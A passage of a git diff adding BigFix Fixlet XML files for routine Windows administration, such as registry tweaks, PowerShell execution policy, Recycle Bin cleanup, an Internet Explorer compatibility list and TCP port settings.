+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced&quot; whose(value &quot;EnableBaloonTips&quot; of it = 0) of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2014-05-02</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 02 May 2014 17:11:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx
+
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced]&quot; &quot;EnableBaloonTips&quot;=dword:00000000</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes
new file mode 100644
index 000000000..62f6a8085
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (100).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Cascading Admin Tools Menu
+  ID       : 100
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Cascading Admin Tools Menu</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_USERS\" & (name of key whose (value "Logon User Name" of key "Explorer" of key "CurrentVersion" of key "Windows" of key "Microsoft" of key "Software" of it as string as lowercase = name of current user as string as lowercase) of key "HKEY_USERS" of registry) & "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced") of registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 23:09:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+    <Action ID="Action230">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to article describing enabling this on xp.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/10226/</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes
new file mode 100644
index 000000000..eba910e0c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Cascading Admin Tools Menu (85).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Cascading Admin Tools Menu
+  ID       : 85
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Cascading Admin Tools Menu</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_USERS\" & (name of key whose (value "Logon User Name" of key "Explorer" of key "CurrentVersion" of key "Windows" of key "Microsoft" of key "Software" of it as string as lowercase = name of current user as string as lowercase) of key "HKEY_USERS" of registry) & "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced") of registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 23:09:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+    <Action ID="Action230">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to article describing enabling this on xp.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.liutilities.com/products/registrybooster/tweaklibrary/tweaks/10226/</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes
new file mode 100644
index 000000000..735c3716b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Computer as _Always On_ (2570).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Computer as "Always On"
+  ID       : 2570
+  Author   : saylorl
+  Domain   : SYST
+  Imported : 2013-08-27T12:51:30
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Computer as &quot;Always On&quot;</Title>
+    <Description>This fixlet will &quot;tag&quot; the targeted endpoints with a client setting to exclude it from PowerManagement Settings. </Description>
+    <Relevance>if exists setting &quot;IsAlwaysOn&quot; of client then  value of setting &quot;IsAlwaysOn&quot; of client as boolean != true else true</Relevance>
+    <Category>Power Configuration Flag</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-08-27</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 27 Aug 2013 19:50:23 +0000</Value>
+    </MIMEField>
+    <Domain>SYST</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure&amp;nbsp;as an &quot;Always On&quot; computer.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting &quot;IsAlwaysOn&quot;=&quot;true&quot; on &quot;{now}&quot; for client</ActionScript>
+    </DefaultAction>
+    <Action ID="Action2816">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to configure&amp;nbsp;NOT to be an &quot;Always On&quot; computer</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">setting delete &quot;IsAlwaysOn&quot; on &quot;{now}&quot;</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes
new file mode 100644
index 000000000..405cdca40
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Disk Cleanup_ Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher) (6035).bes	
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Disk Cleanup: Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher)
+  ID       : 6035
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-04-28T11:41:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Disk Cleanup: Recycle Bin - Remove files deleted more than 7 days ago (Windows Vista and Higher)</Title>
+    <Description><![CDATA[<P>Removes any Files/Folders from the Recycle Bin, that were Recycled more than 7 days ago.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <Relevance>(exists folders &quot;$Recycle.Bin&quot; of root folders of drives)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-04-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Apr 2015 18:33:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// See http://dereknewton.com/2010/06/recycle-bin-forensics-in-windows-7-and-vista/ for info on how Windows Vista and higher store recycled files
+// In Windows Vista and higher, the Recycle Bin for each drive is stored in the folder "$Recycle.Bin" in the root folder of each drive
+// Each User gets their own recycle bin - a folder beneath "$Recycle.Bin" named for the user SID
+// Each File deleted is renamed to $R<random string>.<original extension>
+// For each deleted file, there's a matching Index file $I<same string as the file>.<original extension> that gets created
+//
+// We can use the modification time of the $I<*> files to determine how long ago the file was deleted, and then remove both the $I file and the $R file
+//
+// Deleted folders get a whole folder name for $I and $R, and beneath the $R folder the original filenames are kept.  So we can remove whole directories at once
+// based on the timestamp of the matching $I file - timestamped to when the folder was deleted
+
+// The following builds a fully-qualified list of both files & folders to remove
+// (item 0 of it & "\" & item 1 of it; item 0 of it & "\" & item 2 of it) of (pathname of parent folder of it, name of it, "$R" & following text of first "$I" of name of it) of (files of it; folders of it) whose (name of it starts with "$I" and (now - modification time of it) / day > 7 ) of folders of folders "$Recycle.Bin" of root folders of drives
+
+
+delete __appendfile
+
+appendfile {concatenation "%0d%0a" of ("attrib -s -h -r %22" & it & "%22%0d%0adel /q %22" & it & "%22%0d%0ard /s /q %22" & it & "%22") of (item 0 of it & "\" & item 1 of it; item 0 of it & "\" & item 2 of it)  of (pathname of parent folder of it, name of it, "$R" & following text of first "$I" of name of it)of (descendants of it; descendant folders of it) whose (name of it starts with "$I" and (now - modification time of it) / day > 7 ) of folders "$Recycle.Bin" of root folders of drives}
+
+delete "empty_recycle.cmd"
+move __appendfile "empty_recycle.cmd"
+waithidden "empty_recycle.cmd"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes
new file mode 100644
index 000000000..e3e3ea89f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (632).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configure Execution Policy
+  ID       : 632
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-24T13:43:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configure Execution Policy</Title>
+    <Description><![CDATA[<P>This will allow you to configure the Execution Policy of powershell on endpoints.</P>
+<P>This task allows you to configure a policy for your environment.</P>]]></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Category>Setting</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:28:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;ExecutionPolicy&quot; with description &quot;Please specify the setting you want to configure (Restricted, RemoteSigned, or Unrestricted):&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+endif</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes
new file mode 100644
index 000000000..d64ac987a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Execution Policy (74).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Execution Policy
+  ID       : 74
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Execution Policy</Title>
+    <Description><![CDATA[<P>This will allow you to configure the Execution Policy of powershell on endpoints.</P>
+<P>This task allows you to configure a policy for your environment.</P>]]></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Category>Setting</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:28:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;ExecutionPolicy&quot; with description &quot;Please specify the setting you want to configure (Restricted, RemoteSigned, or Unrestricted):&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;ExecutionPolicy&quot; as string}&quot;
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes
new file mode 100644
index 000000000..20c904118
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Internet Explorer Compatibility List for Currently Logged On User (647).bes	
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configure Internet Explorer Compatibility List for Currently Logged On User
+  ID       : 647
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T19:46:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configure Internet Explorer Compatibility List for Currently Logged On User</Title>
+    <Description><![CDATA[<P>This task is an example of how to configure the Internet Explorer's Compatibility List as a policy to all of your endpoints.</P>
+<P>OOB this task configures both "ibm.com" and "red.com" as my list.&nbsp; If you want to configure your own list, do the following:</P>
+<P>1. Using a test box, configure your compatibility list exactly the way you want it to be on your endpoints.<BR>2. Export the following registry key:&nbsp; HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData<BR>3. Copy/Past that reg file into the actionscript of this task.<BR>4. Modify the overall relevance #2 with your list.&nbsp; It's easy to do if you've gotten this far.</P>
+<P>Save and launch against your target endpoints.</P>
+<P>Remember this configures the currently logged in user.&nbsp; So if you have endpoints with multiple users, this task may run more than once as each user logs in.</P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[(it contains "ibm.com" AND it contains "red.com") of (concatenation of substrings separated by "%00" whose (exists match (regex "^[ a-zA-Z0-9.\x%0c\-]$") of it) of hexadecimal string (values "UserFilter" of key ("HKU\" & (component string of sid of security account (name of current user)) & "\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData") of registry as string))]]></Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 27 Oct 2012 00:46:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//create .reg file
+createfile until END
+Windows Registry Editor Version 5.00
+[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData]
+&quot;UserFilter&quot;=hex:41,1f,00,00,53,08,ad,ba,02,00,00,00,4c,00,00,00,01,00,00,00,\
+  02,00,00,00,0c,00,00,00,a8,23,f2,69,79,b0,cd,01,01,00,00,00,07,00,69,00,62,\
+  00,6d,00,2e,00,63,00,6f,00,6d,00,0c,00,00,00,51,92,b3,23,db,b3,cd,01,01,00,\
+  00,00,07,00,72,00,65,00,64,00,2e,00,63,00,6f,00,6d,00
+END
+delete temp.reg
+move __createfile temp.reg
+// run .reg file
+wait regedit -s temp.reg
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes
new file mode 100644
index 000000000..4001734ba
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Registered Organization and Owner (86).bes	
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Registered Organization and Owner
+  ID       : 86
+  Author   : danielheth
+  Domain   : BES
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Registered Organization and Owner</Title>
+    <Description><![CDATA[<P>This task will configure the RegisteredOrganization and RegisteredOwner string values within the registry.&nbsp; </P>
+<P>For Windows:&nbsp; These keys are located in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</P>
+<P>For Non-Windows:&nbsp; These will be stored within Client Settings.</P>]]></Description>
+    <Relevance>true</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-05-24</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Sep 2012 14:21:38 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to configure values.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;Organization&quot; with description &quot;Please enter the name of your Organization (Ex: Moran IT):&quot; and with default value &quot;&quot;
+action parameter query &quot;Owner&quot; with description &quot;Please enter the Owner&apos;s name (Ex: Daniel):&quot; and with default value &quot;&quot;
+if {name of operating system starts with &quot;Win&quot;}
+  if {x64 of operating system}
+  	 if {parameter &quot;Organization&quot; != &quot;&quot;}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOrganization&quot;=&quot;{parameter &quot;Organization&quot;}&quot;
+	 endif
+	 if {parameter &quot;Owner&quot; != &quot;&quot;}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOwner&quot;=&quot;{parameter &quot;Owner&quot;}&quot;
+	 endif
+  endif
+  if {parameter &quot;Organization&quot; != &quot;&quot;}
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOrganization&quot;=&quot;{parameter &quot;Organization&quot;}&quot;
+  endif
+  if {parameter &quot;Owner&quot; != &quot;&quot;}
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]&quot; &quot;RegisteredOwner&quot;=&quot;{parameter &quot;Owner&quot;}&quot;
+  endif
+  if {parameter &quot;Organization&quot; != &quot;&quot;}
+	continue if {(value &quot;RegisteredOrganization&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) = (parameter &quot;Organization&quot;)}
+  endif
+  if {parameter &quot;Owner&quot; != &quot;&quot;}
+	continue if {(value &quot;RegisteredOwner&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) = (parameter &quot;Owner&quot;)}
+  endif
+else
+  if {parameter &quot;Organization&quot; != &quot;&quot;}
+	setting &quot;Registered Organization&quot;=&quot;{parameter &quot;Organization&quot;}&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+  else
+    setting delete &quot;Registered Organization&quot; on &quot;{now}&quot; for client
+  endif
+  if {parameter &quot;Owner&quot; != &quot;&quot;}
+	setting &quot;Registered Owner&quot;=&quot;{parameter &quot;Owner&quot;}&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+  else
+    setting delete &quot;Registered Owner&quot; on &quot;{now}&quot; for client
+  endif
+endif</ActionScript>
+    </DefaultAction>
+    <Action ID="Action231">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://danielheth.com/2012/05/30/how-to-tattoo-your-bigfix-endpoints/</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes
new file mode 100644
index 000000000..1c52fb754
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000 (3938).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure TCP: MaxUserPort to 60000
+  ID       : 3938
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-12-21T21:09:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure TCP: MaxUserPort to 60000</Title>
+    <Description>Configures TCP MaxUserPort to 60000 to allow for more user-mode application ports in the pool.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (value &quot;MaxUserPort&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 60000)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+action uses wow64 redirection false
+dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;MaxUserPort&quot; /t REG_DWORD /d 60000 /F
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes
new file mode 100644
index 000000000..1c52fb754
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ MaxUserPort to 60000.bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure TCP: MaxUserPort to 60000
+  ID       : 3938
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-12-21T21:09:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure TCP: MaxUserPort to 60000</Title>
+    <Description>Configures TCP MaxUserPort to 60000 to allow for more user-mode application ports in the pool.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (value &quot;MaxUserPort&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 60000)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+action uses wow64 redirection false
+dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;MaxUserPort&quot; /t REG_DWORD /d 60000 /F
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes
new file mode 100644
index 000000000..1a5e68402
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure TCP_ TcpTimedWaitDelay to 30 seconds (3937).bes	
